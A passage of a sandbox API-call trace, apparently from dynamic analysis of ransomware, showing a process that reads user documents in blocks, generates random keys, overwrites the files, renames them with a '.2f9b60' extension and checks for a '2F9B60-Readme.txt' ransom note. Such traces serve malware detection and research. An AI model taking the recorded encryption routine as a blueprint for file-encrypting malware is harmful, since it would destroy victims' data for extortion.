lpNewFilePointer=0x0) returned 1 [0092.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0092.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0092.356] NtQuerySystemTime (in: CurrentTime=0x217bf8e0 | out: CurrentTime=0x217bf8e0*=132462176981938000) returned 0x0 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0xe34470c [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x74abe295 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0xb3350e2 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x792578 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x4eed165a [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x180f45db [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x71de8958 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x17e5a8ee [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x6af40d17 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x6c7f7ea4 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x63e3eec2 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x77198da6 [0092.356] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x3722a71c [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x64104eab [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x7a29ef4f [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x515c4c9e [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x79f93611 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x4a6f7cca [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x15977987 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x14eef7e6 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x2cf26220 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x2d1a057e [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x1ec283dc [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x36644fde [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x265d2f14 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x61d8bfc5 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x4603a518 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x7e71c348 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0xa434be [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x490af559 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0x14e3a21 [0092.357] RtlRandomEx (in: Seed=0x217bf8d0 | out: Seed=0x217bf8d0) returned 0xab80106 [0092.366] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.366] ReadFile (in: hFile=0xd88, lpBuffer=0x20153cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x217bf940, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesRead=0x217bf940*=0x3c00, lpOverlapped=0x0) returned 1 [0092.366] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0092.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20175950 [0092.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0092.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0092.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.367] WriteFile (in: hFile=0xd88, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x217bf940, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesWritten=0x217bf940*=0x3c00, lpOverlapped=0x0) returned 1 [0092.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20175950) returned 1 [0092.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0092.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9ebb0 [0092.369] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.369] WriteFile (in: hFile=0xd88, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x217bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x217bf9f0*=0x118, lpOverlapped=0x0) returned 1 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b350 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0092.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0092.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9d030 [0092.372] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="9e") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="48") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="53") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="f2") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="86") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="89") returned 2 [0092.372] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="ee") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="da") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="de") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="a5") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="63") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="32") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="2f") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="e1") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="64") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="a3") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="f5") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="45") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="27") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="dd") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="12") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="a3") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="55") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="cb") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="b8") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="c2") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="c7") returned 2 [0092.373] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="02") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="4c") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="8a") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="49") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="fd") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="f3") returned 2 [0092.374] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="c2") returned 2 [0092.374] RtlInitAnsiString (in: DestinationString=0x217bfa68, SourceString="9e4853f25b8689eedadea563322fe164a3f55b4527dd12a355cbb8c2c7024cab8a49fd8bf3c2" | out: DestinationString="9e4853f25b8689eedadea563322fe164a3f55b4527dd12a355cbb8c2c7024cab8a49fd8bf3c2") [0092.374] RtlAnsiStringToUnicodeString (in: DestinationString=0x217bfa38, SourceString="9e4853f25b8689eedadea563322fe164a3f55b4527dd12a355cbb8c2c7024cab8a49fd8bf3c2", AllocateDestinationString=1 | out: DestinationString="9e4853f25b8689eedadea563322fe164a3f55b4527dd12a355cbb8c2c7024cab8a49fd8bf3c2") returned 0x0 [0092.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce108f0 [0092.374] wcscat (in: _Dest=0x1b7841c0, _Source="9e4853f25b8689eedad" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad" [0092.374] wcscat (in: _Dest=0x1b7841c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad.2f9b60" [0092.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad.2f9b60", NtPathName=0x217bfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9e4853f25b8689eedad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce114a0 [0092.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.600] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x217bfa78, FileInformation=0x217bfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x217bfa78, FileInformation=0x217bfa88) returned 0x0 [0092.600] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x217bfa78, FileInformation=0x217bfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7841c0) returned 1 [0092.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.602] FlushFileBuffers (hFile=0xd88) returned 1 [0092.607] CloseHandle (hObject=0xd88) returned 1 [0092.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e610 [0092.608] wcscpy (in: _Dest=0x1b85e610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.608] wcscat (in: _Dest=0x1b85e610, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.608] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0092.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 Thread: id = 496 os_tid = 0xc94 [0092.381] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\chdmdqzcqshu36.docx")) returned 0x20 [0092.381] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx", dwFileAttributes=0x20) returned 1 [0092.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\chDmDQZcQsHu36.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\chdmdqzcqshu36.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd20 [0092.469] GetFileSizeEx (in: hFile=0xd20, lpFileSize=0x21a7f6a0 | out: lpFileSize=0x21a7f6a0*=82018) returned 1 [0092.469] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x1405e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.469] ReadFile (in: hFile=0xd20, lpBuffer=0x21a7f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21a7f668, lpOverlapped=0x0 | out: lpBuffer=0x21a7f620*, lpNumberOfBytesRead=0x21a7f668*=0x4, lpOverlapped=0x0) returned 1 [0092.470] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0092.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.470] NtQuerySystemTime (in: CurrentTime=0x21a7f560 | out: CurrentTime=0x21a7f560*=132462176983030000) returned 0x0 [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x4c665bb3 [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x9b8a918 [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x48b7c42c [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x7837d5a6 [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x4be509ba [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x742ffff [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x20cd8d23 [0092.470] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x3f45c57 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x5677cc3c [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x4446eb17 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x5a602f90 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x447d9614 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0xebe49ea [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x447249a2 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x30cc02ca [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x32fcb43b [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x83cc814 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x2093301d [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x6303f697 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x20a535b1 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x7538ebd6 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x6e8a9dda [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x7837d5a6 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x6710e3e6 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x2df526c0 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x42338c1f [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x52fc6372 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x35468c7f [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x26aa6b44 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x20c41f76 [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x71b035af [0092.471] RtlRandomEx (in: Seed=0x21a7f550 | out: Seed=0x21a7f550) returned 0x417a5894 [0092.479] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.479] ReadFile (in: hFile=0xd20, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.480] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b710) returned 1 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b710 [0092.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0092.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0092.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.480] WriteFile (in: hFile=0xd20, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.488] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.488] ReadFile (in: hFile=0xd20, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.489] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0092.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0092.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0092.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0092.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.489] WriteFile (in: hFile=0xd20, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.501] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x10462, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.501] ReadFile (in: hFile=0xd20, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.501] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x10462, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0092.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0092.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0092.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0092.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.502] WriteFile (in: hFile=0xd20, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21a7f5c0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x21a7f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8639d0 [0092.505] SetFilePointerEx (in: hFile=0xd20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.505] WriteFile (in: hFile=0xd20, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x21a7f670, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x21a7f670*=0x158, lpOverlapped=0x0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133760) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b710) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0092.523] RtlFreeHeap (HeapHandle=0xa0000, 